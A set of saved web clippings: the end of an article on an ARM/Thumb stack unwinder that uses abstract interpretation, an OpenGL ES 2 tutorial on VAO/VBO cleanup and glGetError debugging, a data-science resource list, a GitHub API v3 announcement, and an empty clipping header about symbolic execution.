        /* CPSR is not tracked */
        state->regData[rd].o = REG_VAL_INVALID;
        break;

    case  8: /* TST: set condition codes on Op1 AND Op2 */
    case  9: /* TEQ: set condition codes on Op1 EOR Op2 */
    case 10: /* CMP: set condition codes on Op1 - Op2 */
    case 11: /* CMN: set condition codes on Op1 + Op2 */
        break;


    case 13: /* MOV: Rd:= Op2 */
    case 15: /* MVN: Rd:= NOT Op2 */
        state->regData[rd].o = op2origin;
        break;
}

Code 2: Propagation of register state in interpretation of ARM Data Processing instruction.
Now that the model is attempting to interpret all instructions, the handling of conditional code needs to be considered. Specifically the model must meet the following requirements:
· It must find the function epilogue for any function.
· It should not get stuck in loops.
· Infinite loops should be detectable.
· There should be no significant overhead on the interpretation.
ARM instructions employ conditional guarding, meaning that condition codes can be attached to most instructions such that they are only executed if the condition is met. Thumb mode uses conditional branch instructions, BNE BEQ etc..., to achieve a similar goal, and in both cases the Status Register (SR) holds the condition flags which determine if a branch is taken or an ARM instruction executed. Tracking the SR would apply overhead and make the model more complex, as will any sort of branch analysis to find infinite loops and function exits. Therefore I make the following assumptions, to simplify the model ARM.
· All conditional code can be ignored.
· Conditional branches never need to be taken.
· Unconditional branched must always be taken.
It seems highly unlikely that the function epilogue will contain conditional code and the 'stack moves once' rule of the ABI means that there is no risk of needing to conditionally correct the stack depending on the path taken through the function. Unconditional branches must always be taken since without them it is possible that interpretation could wander into another function or data area. Ignoring conditional branches also greatly simplifies the interpreter, but introduces a risk that some loops may appear infinite, as the following example shows.

int loop()
{
    while(1)
    {
        int v = getch();

        if(v == EOF)      { break; }
        else if(v == 10)  { printf("\n"); }
        else              { printf("%c", v); }
    }

    return funcB();
}

Example 7a: Example loop where the exit condition is tested within the loop.

loop PROC
        PUSH     {r4,lr}
|L1.2|
        BL       getch
        CMP      r0,#0
        BEQ      |L1.32|
        CMP      r0,#0xa
        BNE      |L1.22|
        ADR      r0,|L1.36|
        BL       __0printf
        B        |L1.2|
|L1.22|
        MOV      r1,r0
        ADR      r0,|L1.36| + 4
        BL       __0printf
        B        |L1.2|
|L1.32|
        POP      {r4,pc}
        DCW      0000
|L1.36| DATA
        DCB      "\n\0\0\0"
        DCB      "%c\0\0"
        ENDP

Example 7b: Thumb assembly showing compiler output.
In the above example, the BEQ needs to be taken in order to reach the function epilogue. Without understanding of the Status Register, the model ARM cannot do this, so instead gets stuck in the loop - this is the first caveat of the scheme. Accepting for the moment that this type of construct may occur (although I personally would try to avoid writing such C code as it misses the purpose of the while statement!), a scheme for detecting an infinite loop is required. I opt simply to count the number of instructions since a function return was discovered, and to stop the interpretation if some predefined limit is exceeded. This is very simple, and has little overhead, although may take longer to determine that unwinding is stuck than a more analytical approach would allow.
At this point, the model ARM should be capable of unwinding most stacks, has the ability to interpret all the code that could appear in a function epilogue and can interpret and detect returning to a register value sourced from the stack. The interpreter has a simple method to blunder into most function epilogues and also has a primitive method of detecting when it is stuck in an infinite loop. A little polish can be applied to trap cases such as the branching to a register whose value is invalid and the scheme is basically working. However, there are a couple of surprises yet...
Function Prologues
So far the model ARM has been built to concentrate on unwinding the stack frames by interpretation of code leading up to and including the function epilogues - the prologue has not needed consideration. However, there is an optimisation that can be supplied by a compiler that causes prologues to become significant. The optimisation is 'tail calling' but is not specific to ARM architectures.
Tail calling is when a function always calls another function as the last thing that it does before returning. The compiler can spot this pattern and instead of generating return code from the first function, it can call the second function in such a way that its return code will return to the original caller.

void tailCall(int v)
{
    v *= v;
    printf("%d", v);
    tailFunc(v);
}

Example 8a: Function that makes a tail call.

tailCall PROC
        STMFD    sp!,{r4,lr}
        MUL      r4,r0,r0
        MOV      r1,r4
        ADR      r0,|L1.524|
        BL       __0printf
        MOV      r0,r4
        LDMFD    sp!,{r4,lr}
        B        tailFunc
        ENDP

Example 8b: ARM assembly listing of tail call function.
In this case, the Link Register (LR) is restored from the stack, but instead of the commonly seen BX, an unconditional branch is made to tailFunc(), such that tailFunc() will instead return to the value placed in the LR. It's a small optimisation that saves a word and a few cycles, but it complicates the interpretation performed by the model ARM.
To accommodate this, the model ARM must either be aware of tail calling and ignore it, or must additionally be able to interpret function prologues. Detecting the tail call would not be impossible, the pattern or restoring the Link Register from the stack and then unconditionally branching is detectable, but there could be a small risk of misdetection if the LR were used in a function body for any purpose such as temporary storage or arithmetic.
Interpreting a function prologue is much the same as interpreting an epilogue and the same instructions will be used to generate the constant value for the stack adjust. However, whereas previously all values were being read from memory and the stack, some values are now stored to the stack to save state before the function executes. This could potentially damage the stack on an executing system, so a small hash table to store memory addresses and their values is implemented to store stack data instead; before reading from memory the hash table is inspected, and if a value is found it is used in place of the value from the device memory. Since function prologues are likely to start with a PUSH or STMFD instruction, there is also the possibility of an invalid register value being stored to memory, so the memory hash has to allow for storage of some state data to prevent an invalid register value becoming valid if it is PUSHed and then POPed from the stack. Finally, to prevent the memory hash needing to be large or risk overflowing, it is periodically purged of data stored at addresses that are above the current top of the stack.
Caveats
And there we have it - a scheme performing a kind of abstract interpretation of ARM or Thumb code in order to unwind the stack frames. However, while small, this method of abstract interpretation is not quite perfect. There are a number of situations where it will not work, although the general case so far suggests that it works very well in practice. Still, there are limitations, and these are best listed.
· It is possible for the compiler to construct loops that appear as infinite due to the lack of interpretation of conditional code or branches.
· The unwinder interprets the return path of the code. While this is generally the same or very similar to the calling path, there are circumstances where the two can be subtlety different.
· It is easy to construct code by hand that fools the interpretation.
· If the stack has already been corrupted, unwinding cannot succeed.
The problem of infinite loops could be dealt with by adding a random element to interpretation. For example, if the model suspects itself to be stuck in an infinite loop (a large number of instructions have been interpreted with no function epilogue being found), it may start randomly taking conditional branches in an attempt to 'chance upon' the function epilogue. While more sophisticated methods of exiting infinite loops, such as tracking the PC and marking branch history, could be implemented, they would require more memory and complexity for something that has rarely been found to cause a problem in practical usage of the unwinder.
A greater problem with no solution is that of tail calling masking functions from the unwound stack. If the interpretation is started from a function that was tail called, the function that made the tail call will be omitted from the unwound stack. In example 8, unwinding started from tailFunc() or a sub-function thereof would omit to report tailCall() since the return path would not pass through that function. In hindsight it may have been better to run the model ARM backwards, although this presents different problems.
Implementation
The following shows the amount of code and data occupied by the unwinder when compiler using RVCT2.1, compiled to Thumb code with -O2. The totals show that under 3k of ROM is used to implement the model ARM, which is very acceptable for my application.
Code
(inc. data)
RO Data
RW Data
ZI Data
Library Member Name
44
0
0
0
0
unwarminder.o
182
0
0
0
0
unwarm.o
904
68
0
0
0
unwarm_arm.o
1198
60
0
0
0
unwarm_thumb.o
300
0
0
0
0
unwarmmem.o
2628
128
0
0
0
Totals
Table 1: Unwinder code size (using RVCT2.1, TCC -O2).
The unwinding code is implemented in a handful of files, and a single header file named unwarminder.h needs to be included to access the functionality. Accessing to the system memory from the unwinder is abstracted through callbacks that must be implemented by the 'client' code, and this allows reads to be validated such that unwinding is stopped if alignment or the address being read is at fault. The client code passes a small structure of function pointers to the unwinder to equip it with the callbacks required to read memory and report return addresses.
The function that starts the unwinding is given as follows:

UnwResult UnwindStart(Int32                  spValue,
                      const UnwindCallbacks *cb,
                      void                  *data);

Code 3: The function to start unwinding.
The cb structure gives the callbacks to allow memory accesses and return address reporting, while the data pointer can take any value and is passed to the reporting function (cb->report()) such that it may store state if required.
The spValue gives the stack pointer value at which to start unwinding; the PC value is determined automatically as it is effectively passed to the function via the Link Register and so can be retrieved. When using RVCT, the compiler intrinsic function __current_sp() allows the SP value to be read into a variable, so a call to start unwinding typically looks something like the following:

const UnwindCallbacks cliCallbacks = { ... };
CliStack              results;
Int8                  t;
UnwResult             r;

results.frameCount = 0;
r = UnwindStart(__current_sp(), &cliCallbacks, &results);

Code 4: Typical call to start unwinding, passing a pointer to some structure that lists all the callbacks, as well as a pointer to local storage.
Finally, the implementation is not aware of any OS or memory protection or management schemes that maybe in use on the target. The system on which this has been tested is simply configured with a flat memory map and has few restrictions on memory access, and the RTOS used poses no restrictions either. It maybe the case that to use this on other targets the MMU or MPU has to be reconfigured or disabled before unwinding is started, or the functions used by the unwinder to access the memory specially constructed to ensure that memory protections will not cause a problem. Should the unwinder request access to addresses that are genuinely invalid, the client functions for memory access can return FALSE to indicate that the memory cannot be accessed, and unwinding will terminate.
Licence and Download
The source code for the stack unwinder is available for free download and I'm making it PUBLIC DOMAIN. This means that there is no copyright and anyone is able to take a copy for free and use it as they wish, with or without modifications, and in any context they like, commercially or otherwise. The only limitation is that I don't guarantee that the software is fit for any purpose or accept any liability for its use or misuse - the software is without warranty.
Having said all this, the software has been ran under Valgrind and tested both in PC simulations (using ARMSD) and on ARM7TDMI and ARM920T targets.
The download package is available here (right-click, Save As...):
· wind.tar.gz (64k) - updated 12/07/2007
This package contains the source code for the unwinder as well as two 'clients' that allow the unwinder to be exercised. The first client is contained in two files, client.c and client.h and can be built to produce an image that can be executed either on an ARM target or in an emulator and demonstrates the unwinding of the stack from which the unwinder is called. The second client is the 'simulation' client, simclient.c and simclient.h, which uses two memory images that are also supplied and contain a snapshot of a call stack and executable code which allows interpretation by the unwinder on a PC, where PC tools can also be used to debug the unwinder. The memory images supplied cannot however be ran on a target since I've zero'd the areas of code that are not needed to demonstrate the unwinder such that the ARM runtime is not present in binary form.
﻿http://www.altdevblogaday.com/2013/10/12/opengl-es-2-debugging-and-improvements-to-vao-vbo/ 
#AltDevBlog » OpenGL ES 2: debugging, and improvements to VAO, VBO
Created:
10/14/2013 12:00:55 PM
Updated:
10/14/2013 12:00:55 PM
Author:

Tags:
Debugging Opengl


OpenGL ES 2: debugging, and improvements to VAO, VBO 
This is Part 4, and explains how to debug in OpenGL, as well as improving some of the reusable code we’ve been using (Part 1 has an index of all the parts, Part 3 covered Geometry ).
Last time, I said we’d go straight to Textures – but I realised we need a quick TIME OUT! to cover some code-cleanup, and explain in detail some bits I glossed-over previously. This post will be a short one, I promise – but it’s the kind of stuff you’ll probably want to bookmark and come back to later, whenever you get stuck on other parts of your OpenGL code.
NB: if you’re reading this on AltDevBlog, the code-formatter is currently broken on the server. Until the ADB server is fixed, I recommend reading this (identical) post over at T-Machine.org , where the code-formatting is much better.
Cleanup: VAOs, VBOs, and Draw calls 
In the previous part, I deliberately avoided going into detail on VAO (Vertex Array Objects) vs. VBO (Vertex Buffer Objects) – it’s a confusing topic, and (as I demonstrated) you only need 5 lines of code in total to use them correctly! Most of the tutorials I’ve read on GL ES 2 were simply ... wrong ... when it came to using VAO/VBO. Fortunately, I had enough experience of Desktop GL to skip around that – and I get the impression a lot of GL programmers do the same.
Let’s get this clear, and correct...
To recap, I said last time:
1. A VertexBufferObject: 
1. ...is a plain BufferObject that we’ve filled with raw data for describing Vertices (i.e.: for each Vertex, this buffer has values of one or more ‘attribute’s) 
2. Each 3D object will need one or more VBO’s.
3. When we do a Draw call, before drawing ... we’ll have to “select” the set of VBO’s for the object we want to draw.
2. A VertexArrayObject: 
1. ...is a GPU-side thing (or “object”) that holds the state for an array-of-vertices 
2. It records info on how to “interpret” the data we uploaded (in our VBO’s) so that it knows, for each vertex, which bits/bytes/offset in the data correspond to the attribute value (in our Shaders) for that vertex 
Vertex Buffer Objects: identical to any other BufferObject 
It’s important to understand that a VBO is a BO, and there’s nothing special or magical about it: everything you can do with a VBO, you can do with any BO. It gets given a different name simply because – at a few key points – you need to tell OpenGL “interpret the data inside this BO as if it’s vertex-attributes ... rather than (something else)”. In practice, all that means is that:
If you take any BO (BufferObject), every method call in OpenGL will require a “type” parameter. Whenever you pass-in the type “GL_ARRAY_BUFFER”, you have told OpenGL to use that BO as a VBO. That’s all that VBO means. 
...the hardware may also (perhaps; it’s up to the manufacturers) do some behind-the-scenes optimization, because you’ve hinted that a particular BO is a VBO – but it’s not required.
Vertex Buffer Objects: why plural?
In our previous example, we had only one VBO. It contained only one kind of vertex-attribute (the “position” attribute). We used it in exactly one draw call, for only one 3D object.
A BufferObject is simply a big array stored on the GPU, so that the GPU doesn’t have to keep asking for the data from system-RAM. RAM -> GPU transfer speeds are 10x slower than GPU-local-RAM (known as VRAM) -> GPU upload speeds.
So, as soon as you have any BufferObjects, your GPU has to start doing memory-management on them. It has its own on-board caches (just like a CPU), and it has its own invisible system that intelligently pre-fetches data from your BufferObjects (just like a CPU does). This then begs the question:
What’s the efficient way to use BufferObjects, so that the GPU has to do the least amount of shuffling memory around, and can maximize the benefit of its on-board caches?
The short answer is:
Create one single VBO for your entire app, upload all your data (geometry, shader-program variables, everything), and write your shaders and draw-calls to use whichever subsets of that VBO apply to them. Never change any data. 
OpenGL ES 2 doesn’t fully support that usage: some of the features necessary to put “everything” into one VBO are missing. Also: if you start to get low on spare memory, if you only have one VBO, you’re screwed. You can’t “unload a bit of it to make more room” – a VBO is, by definition, all-or-nothing.
How do Draw calls relate to VBO’s?
This is very important. When you make a Draw call, you use glVertexAttribPointer to tell OpenGL:
“use the data in BufferObject (X), interpreted according to rule (Y), to provide a value of this attribute for EACH vertex in the object” 
...a Draw call has to take the values of a given attribute all at once from a single VBO. Incidentally, this is partly why I made the very first blog post teach you about Draw calls – they are the natural atomic unit in OpenGL, and life is much easier if you build your source-code around that assumption.
So, bearing in mind the previous point about wanting to load/unload VBOs at different times ... with GL ES 2, you divide up your VBO’s in two key ways, and stick to one key rule:
1. Any data that might need to be changed while the program is running ... gets its own VBO 
2. Any data that is needed for a specific draw-call, but not others ... gets its own VBO 
3. RULE: The smallest chunk of data that goes in a VBO is “the attribute values for one attribute ... for every vertex in an object” 
...you can have the values for more than one Attribute inside a single VBO – but it has to cover all the vertices, for each Attribute it contains.
A simple VBO class (only allows one Attribute per VBO )
For highest performance, you normally want to put multiple Attributes into a single VBO ... but there are many occasions where you’ll only use 1:1, so let’s start there.
GLK2BufferObject.h
[objc]
@property(nonatomic, readonly) GLuint glName;
@property(nonatomic) GLenum glBufferType;
@property(nonatomic) GLsizeiptr bytesPerItem;
@property(nonatomic,readonly) GLuint sizePerItemInFloats;
-(GLenum) getUsageEnumValueFromFrequency:(GLK2BufferObjectFrequency) frequency nature:(GLK2BufferObjectNature) nature;
-(void) upload:(void *) dataArray numItems:(int) count usageHint:(GLenum) usage;
@end
[/objc]
The first two properties are fairly obvious. We have our standard “glName” (everything has one), and we have a glBufferType, which is set to GL_ARRAY_BUFFER whenever we want the BO to become a VBO.
To understand the next part, we need to revisit the 3 quick-n-dirty lines we used in the previous article:
(from previous blog post)
glGenBuffers( 1, &VBOName );
glBindBuffer(GL_ARRAY_BUFFER, VBOName );
glBufferData(GL_ARRAY_BUFFER, 3 * sizeof( GLKVector3 ), cpuBuffer, GL_DYNAMIC_DRAW); 
...the first two lines are simply creating a BO/VBO, and storing its name. And we’ll be able to automatically supply the “GL_ARRAY_BUFFER” argument from now on, of course. Looking at that last line, the second-to-last argument is “the array of data we created on the CPU, and want to upload to the GPU” ... but what’s the second argument? A hardcoded “3 * (something)”? Ouch – very bad practice, hardcoding a digit with no explanation. Bad coder!
glBufferData requires, as its second argument:
(2nd argument): The total amount of RAM I need to allocate on the GPU ... to store this array you’re about to upload 
In our case, we were uploading 3 vertices (one for each corner of a triangle), and each vertex was defined using GLKVector3. The C function “sizeof” is a very useful one that measures “how many bytes does a particular type use-up when in memory?”.
So, for our GLK2BufferObject class to automatically run glBufferData calls in future, we need to know how much RAM each attribute-value occupies:
[objc]
@property(nonatomic) GLsizeiptr bytesPerItem;
[/objc]
But, when we later told OpenGL the format of the data inside the VBO, we used the line:
(from previous blog post)
glVertexAttribPointer( attribute.glLocation, 3, GL_FLOAT, GL_FALSE, 0, 0); 
...and if you read the OpenGL method-docs, you’d see that the 2nd argument there is also called “size” – but we used a completely different number!
And, finally, when we issue the Draw call, we use the number 3 again, for a 3rd kind of ‘size’:
(from previous blog post)
glDrawArrays( GL_TRIANGLES, 0, 3); // this 3 is NOT THE SAME AS PREVIOUS 3 !
WTF? Three definitions of “size” – O, RLY?
Ya, RLY.
1. glBufferData: measures size in “number of bytes needed to store one Attribute-value” 
2. glVertexAttribPointer: measures size in “number of floats required to store one Attribute-value” 
3. glDrawArrays: measures size in “number of vertices to draw, out of the ones in the VBO” (you can draw fewer than all of them) 
For the final one – glDrawArrays – we’ll store that data (how many vertices to “draw”) in the GLK2DrawCall class itself. But we’ll need to store the info for glVertexAttribPointer inside each VBO:
[objc]
@property(nonatomic,readonly) GLuint sizePerItemInFloats;
[/objc]
Refactoring the old “glBufferData” call 
Now we can implement GLK2BufferObject.m, and remove the hard-coded numbers from our previous source code:
GLK2BufferObject.m:
[objc]
...
-(void) upload:(void *) dataArray numItems:(int) count usageHint:(GLenum) usage
{
NSAssert(self.bytesPerItem > 0 , @”Can’t call this method until you’ve configured a data-format for the buffer by setting self.bytesPerItem”);
NSAssert(self.glBufferType > 0 , @”Can’t call this method until you’ve configured a GL type (‘purpose’) for the buffer by setting self.glBufferType”);
glBindBuffer( self.glBufferType, self.glName );
glBufferData( GL_ARRAY_BUFFER, count * self.bytesPerItem, dataArray, usage);
}
[/objc]
The only special item here is “usage”. Previously, I used the value “GL_DYNAMIC_DRAW”, which doesn’t do anything specific, but warns OpenGL that we might choose to re-upload the contents of this buffer at some point in the future. More correctly, you have a bunch of different options for this “hint” – if you look at the full source on GitHub, you’ll see a convenience method and two typedef’s that handle this for you, and explain the different options.
Source for: GLK2BufferObject.h and GLK2BufferObject.m
What’s a VAO again?
A VAO/VertexArrayObject:
VertexArrayObject: stores the metadata for “which VBOs are you using, what kind of data is inside them, how can a ShaderProgram read and interpret that data, etc” 
We’ll start with a new class with the (by now: obvious) properties and methods:
GLK2VertexArrayObject.h
[objc]
#import
#import “GLK2BufferObject.h”
#import “GLK2Attribute.h”
@interface GLK2VertexArrayObject : NSObject
@property(nonatomic, readonly) GLuint glName;
@property(nonatomic,retain) NSMutableArray* VBOs;
/** Delegates to the other method, defaults to using “GL_STATIC_DRAW” as the BufferObject update frequency */
-(GLK2BufferObject*) addVBOForAttribute:(GLK2Attribute*) targetAttribute filledWithData:(void*) data bytesPerArrayElement:(GLsizeiptr) bytesPerDataItem arrayLength:(int) numDataItems;
/** Fully configurable creation of VBO + upload of data into that VBO */
-(GLK2BufferObject*) addVBOForAttribute:(GLK2Attribute*) targetAttribute filledWithData:(void*) data bytesPerArrayElement:(GLsizeiptr) bytesPerDataItem arrayLength:(int) numDataItems updateFrequency:(GLK2BufferObjectFrequency) freq;
@end
[/objc]
The method at the end is where we move the very last bit of code from the previous blog post – the stuff about glVertexAttribPointer. We also combine it with automatically creating the necessary GLK2BufferObject, and calling the “upload:numItems:usageHint” method:
GLK2VertexArrayObject.m:
[objc]
...
-(GLK2BufferObject*) addVBOForAttribute:(GLK2Attribute*) targetAttribute filledWithData:(void*) data bytesPerArrayElement:(GLsizeiptr) bytesPerDataItem arrayLength:(int) numDataItems updateFrequency:(GLK2BufferObjectFrequency) freq
{
/** Create a VBO on the GPU, to store data */
GLK2BufferObject* newVBO = [GLK2BufferObject vertexBufferObject];
newVBO.bytesPerItem = bytesPerDataItem;
[self.VBOs addObject:newVBO]; // so we can auto-release it when this class deallocs
/** Send the vertex data to the new VBO */
[newVBO upload:data numItems:numDataItems usageHint:[newVBO getUsageEnumValueFromFrequency:freq nature:GLK2BufferObjectNatureDraw]];
/** Configure the VAO (state) */
glBindVertexArrayOES( self.glName );
glEnableVertexAttribArray( targetAttribute.glLocation );
GLsizei stride = 0;
glVertexAttribPointer( targetAttribute.glLocation, newVBO.sizePerItemInFloats, GL_FLOAT, GL_FALSE, stride, 0);
glBindVertexArrayOES(0); //unbind the vertex array, as a precaution against accidental changes by other classes
return newVBO;
}
[/objc]
Source for: GLK2VertexArrayObject.h and GLK2VertexArrayObject.m
Gotcha: The magic of OpenGL shader type-conversion 
This is also a great time to point-out some sleight-of-hand I did last time.
In our source-code for the Shader, I declared our attribute as:
attribute vec4 position; 
...and when I declared the data on CPU that we uploaded, to fill-out that attribute, I did:
GLKVector3 cpuBuffer[] =
{
GLKVector3Make(-1,-1, z)
... 
Anyone with sharp eyes will notice that I uploaded “vector3′′ (data in the form: x,y,z) to an attribute of type “vector4′′ (data in the form: x,y,z,w). And nothing went wrong. Huh?
The secret here is two fold:
1. OpenGL’s shader-language is forgiving and smart; if you give it a vec3 where it needs a vec4, it will up-convert automatically 
2. We told all of OpenGL “outside” the shader-program: this buffer contains Vector3′s! Each one has 3 floats! Note: That’s THREE! Not FOUR! 
...otherwise, I’d have had to define our triangle using 4 co-ordinates – and what the heck is the correct value of w anyway? Better not to even go there (for now). All of this “just works” thanks to the code we’ve written above, in this post. We explicitly tell OpenGL how to interpret the contents of a BufferObject even though the data may not be in the format the shader is expecting – and then OpenGL handles the rest for us automagically.
Errors – ARGH!
We’re about to deal with “textures” in OpenGL – but we have to cover something critical first.
In previous parts, each small feature has required only a few lines of code to achieve even the most complex outcomes ... apart from “compiling and linking Shaders”, which used many lines of boilerplate code.
Texture-mapping is different; this is where it gets tough. Small typos will kill you – you’ll get “nothing happened”, and debugging will be near to impossible. It’s time to learn how to debug OpenGL apps.
OpenGL debugging: the glGetError() loop 
There are three ways that API’s / libraries return errors:
1. (very old, C-only, APIs): An integer return code from every method, that is “0′′ for success, and “any other number” for failure. Each different number flags a different cause / kind of error 
2. (old, outdated APIs): An “error” pointer that you pass in, and MAY be filled-in with an error if things go wrong. Apple does a variant of this with most of their APIs, although they don’t need to any more (it used to be “required”, but they fixed the problems that forced that, and it’s now optional. Exceptions work fine) 
3. (modern programming languages and APIs): If something goes wrong, an Exception is thrown (modern programming languages do some Clever Tricks that make this exactly as fast as the old methods, but much less error-prone to write code with) 
Then there’s another way. An insane, bizarre, way ... from back when computers were so new, even the C-style approach hadn’t become “standard” yet. This ... is what OpenGL uses:
1. Every method always succeeds, even when it fails 
o If it fails, a “global list of errors” is created, and the error added to the end 
o No error is reported – no warnings, no messages, no console-logs ... nothing 
o If other methods fail, they append to the list of errors 
o At any time, you can “read” the oldest error, and remove it from the list 
In fairness, there was good reason behind it. They were trying to make an error-reporting system that was so high-performance it had zero impact on the runtime. They were also trying to make it work over the network (early OpenGL hardware was so special/expensive, it wasn’t even in the same machine you ran your app on – it lived on a mainframe / supercomputer / whatever in a different room in your office).
It’s important to realise that the errors are on a list – if you only call “if( isError )” you’ll only check the first item on the list. By the time you check for errors, there may be more-than-one error stacked up. So, in OpenGL, we do our error checking in a while-loop: “while( thereIsAnotherError ) ... getError ... handleError”.
UPDATE: ignore the rest, use this (Xcode5 )
Xcode5 now does 95% of the work for you, in 3 clicks – this is awesome.
Select your Breakpoints tab, hit the (hard to find) plus button at bottom left, and select “OpenGL ES Error”:

This is a magic breakpoint where OpenGL will catch EVERY GL error as soon as it happens and pause in the debugger for you. You should have this permanently enabled while developing!
(if you’re not familiar with Xcode’s catch-all breakpoints, the other one that most devs have always-on is “Exception Breakpoint”, which makes the debugger pause whenever it hits an Exception, and you can see the exact state of your program at the moment the Exception was created. It’s not 100% perfect – some 3rd party libraries (e.g. TestFlight, IIRC) create temporary Exceptions pre-emptively, and get annoying quickly. But it’s pretty good)
What follows is generic code (not dependent on IDE version). I’ll leave it here as an FYI – and in case you ever need to reproduce this logging at runtime, without the debugger (e.g. for remote upload of crash logs to TestFlight or Hockey). But for simple cases: use the Xcode5 feature instead
Using glGetError ()
Technically, OpenGL requires you to alternate EVERY SINGLE METHOD CALL with a separate call to “glGetError()”, to check if the previous call had any errors.
If you do NOT do this, OpenGL will DELETE THE INFORMATION about what caused the error.
Since OpenGL ERRORS ARE 100% CONTEXT-SENSITIVE ... deleting that info also MAKES THE ERROR TEXT MEANINGLESS.
Painful? Yep. Sorry.
To make it slightly less painful, OpenGL’s “getError()” function also “removes that error from the start of the list” automatically. So you only use one call to achieve both “get-the-current-error”, and “move-to-the-next-one”.
Here’s the source code you have to implement. After every OpenGL call (any method beginning with the letters “gl”):
[objc]
GLenum glErrorLast;
while( (glErrorLast = glGetError()) != GL_NO_ERROR ) // GL spec says you must do this in a WHILE loop
{
NSLog(@”GL Error: %i”, glErrorCapture );
}
[/objc]
This (obviously) makes your source code absurdly complex, completely unreadable, and almost impossible to maintain. In practice, most people do this:
1. Create a global function that handles all the error checking, and import it to every GL class in your app 
2. Call this function: 
1. Once at the start of each “frame” (remember: frames are arbitrary in OpenGL, up to you to define them) 
2. Once at the start AND end of each “re-usable method” you write yourself – e.g. a “setupOpenGL” method, or a custom Texture-Loader 
3. When something breaks, start inserting calls to this function BACKWARDS from the point of first failure, until you find the line of code that actually errored. You have to re-compile / build / test after each insertion. Oh, the pain! 
From this post onwards, I will be inserting calls to this function in my sample code, and I won’t mention it further
Standard code for the global error checker 
The basic implementation was given above ... but we can do a lot better than that. And ... since OpenGL debugging is so painful ... we really need to do better than that!
We’ll start by converting it into a C-function that can trivially be called from any class OR C code:
[objc]
void gl2CheckAndClearAllErrors()
{
GLenum glErrorLast;
while( (glErrorLast = glGetError()) != GL_NO_ERROR ) // GL spec says you must do this in a WHILE loop
{
NSLog(@”GL Error: %i”, glErrorCapture );
}
}
[/objc]
Improvement 1: Print-out the GL_* error type 
OpenGL only allows 6 legal “error types”. All gl method calls have to re-use the 6 types, and they aren’t allowed sub-types, aren’t allowed parameters, aren’t allowed “error messages” to go with them. This is crazy, but true.
First improvement: include the error type in the output.
[objc]
...
while( (glErrorLast = glGetError()) != GL_NO_ERROR ) // GL spec says you must do this in a WHILE loop
{
/** OpenGL spec defines only 6 legal errors, that HAVE to be re-used by all gl method calls. OH THE PAIN! */
NSDictionary* glErrorNames = @{ @(GL_INVALID_ENUM) : @”GL_INVALID_ENUM”, @(GL_INVALID_VALUE) : @”GL_INVALID_VALUE”, @(GL_INVALID_OPERATION) : @”GL_INVALID_OPERATION”, @(GL_STACK_OVERFLOW) : @”GL_STACK_OVERFLOW”, @(GL_STACK_UNDERFLOW) : @”GL_STACK_UNDERFLOW”, @(GL_OUT_OF_MEMORY) : @”GL_OUT_OF_MEMORY” };
NSLog(@”GL Error: %@”, [glErrorNames objectForKey:@(glErrorCapture)] );
}
[/objc]
Improvement 2: report the filename and line number for the source file that errored 
Using a couple of C macros, we can get the file-name, line-number, method-name etc automatially:
[objc]
...
NSLog(@”GL Error: %@ in %s @ %s:%d”, [glErrorNames objectForKey:@(glErrorCapture)], __PRETTY_FUNCTION__, __FILE__, __LINE__ );
...
[/objc]
Improvement 3: automatically breakpoint / stop the debugger 
You know about NSAssert / CAssert, right? If not ... go read about it. It’s a clever way to do Unit-Testing style checks inside your live application code, with very little effort – and it automatically gets compiled-out when you ship your app.
We can add an “always-fails (i.e. triggers)” Assertion whenever there’s an error. If you configure Xcode to “always breakpoint on Assertions” (should be the default), Xcode will automatically pause whenever you detect an OpenGL error:
[objc]
...
NSLog(@”GL Error: %@ in %s @ %s:%d”, [glErrorNames objectForKey:@(glErrorCapture)], __PRETTY_FUNCTION__, __FILE__, __LINE__ );
NSCAssert( FALSE, @”OpenGL Error; you need to investigate this!” ); // can’t use NSAssert, because we’re inside a C function
...
[/objc]
Improvement 4: make it vanish from live App-Store builds 
By default, Xcode defines a special value for all Debug (i.e. development) builds that is removed for App Store builds.
Let’s wrap our code in an “#if” check that uses this. That way, when we ship our final build to App Store, it will compile-out all the gl error detection. The errors at that point do us no good anyway – users won’t be running the app in a debugger, and the errors in OpenGL are context-sensitive, so error reports from users will do us very little good.
(unless you’re using a remote logging setup, e.g. Testflight/HockeyApp/etc ... but in that case, you’ll know what to do instead)
[objc]
void gl2CheckAndClearAllErrors()
{
#if DEBUG
...
#endif
}
[/objc]
Source for: GLK2GetError.h and GLK2GetError.m
End of part 4 
Next time – I promise – will be all about Textures and Texture Mapping. No ... really!
 
﻿http://www.analyticbridge.com/profiles/blogs/200-machine-learning-and-data-science-resources 
200 machine learning and data science resources - AnalyticBridge
Created:
12/24/2014 4:22:51 PM
Updated:
12/24/2014 4:22:51 PM
Author:

Tags:
machine-learning


200 machine learning and data science resources
This list was started a while back and rather small, but it grew up to 200+ articles in the past few weeks. It will reach 400+ when completed. Essentially, this is the best of all our weekly digests. Also, it features all the articles (double-starred in red) that will be part of my upcoming book Data Science 2.0.

So if you missed many of our recent tweets, here's a chance to see all this content at once, on one web page. Click here to view it.
Note that this is different from our list of top external content, available separately from this page (see external resources and articles).
Finally, I completed the Monday 12/22 weekly digest (to be published Monday). You can check it out on our main website, DataScienceCentral.com. It contains fewer articles from me than usual, but many more from external bloggers.
Enjoy the reading!
Vincent
DSC Resources
· Career: Training | Books | Cheat Sheet | Apprenticeship | Certification | Salary Surveys | Jobs
· Knowledge: Pure Data Science | Competitions and Challenges | Webinars | Our Book
· Buzz: Business News | Announcements | Events | RSS Feeds
· Misc: Top Links | Code Snippets | External Resources | Best Blogs | Subscribe | For Bloggers
Additional Reading
Follow us on Twitter: @DataScienceCtrl@AnalyticBridge
﻿https://github.com/blog/879-api-v3-190-methods-to-build-on 
API v3: 190 methods to build on - GitHub
Created:
6/21/2011 8:00:11 AM
Updated:
6/21/2011 8:00:19 AM
Author:

Tags:
programming Git


· API v3: 190 methods to build on
 tclem June 20, 2011
The entire v3 API is finally here! From commit comments to raw Git access and everything in between, this release wraps up the major development effort around the API. We will still spend a period of time in beta, addressing issues and taking feedback, so if there is something missing or broken please let us know!

Some highlights of this release include:
o Commits and commit comments
o Raw Git access (Create and manage commits, blobs, trees... you name it)
o Downloads (List 'em, create 'em, delete 'em)
o Pull Requests (Find and create new ones, turn issues into Pull Requests, and manage Pull Request comments)
Some of this functionality doesn't even exist in v2 and some things (like turning an issue into a Pull Request) can only be done via the API. Along with all these updates, we have continued to improve our developer documentation. The goal is to let you access just about anything on GitHub via the API.
﻿A tool for the Symbolic Execution of Linux Binaries
Created:
10/31/2013 12:52:08 PM
Updated:
10/31/2013 12:52:44 PM
Author:
wishi
Tags:
Linux solver SMT symbolic exec


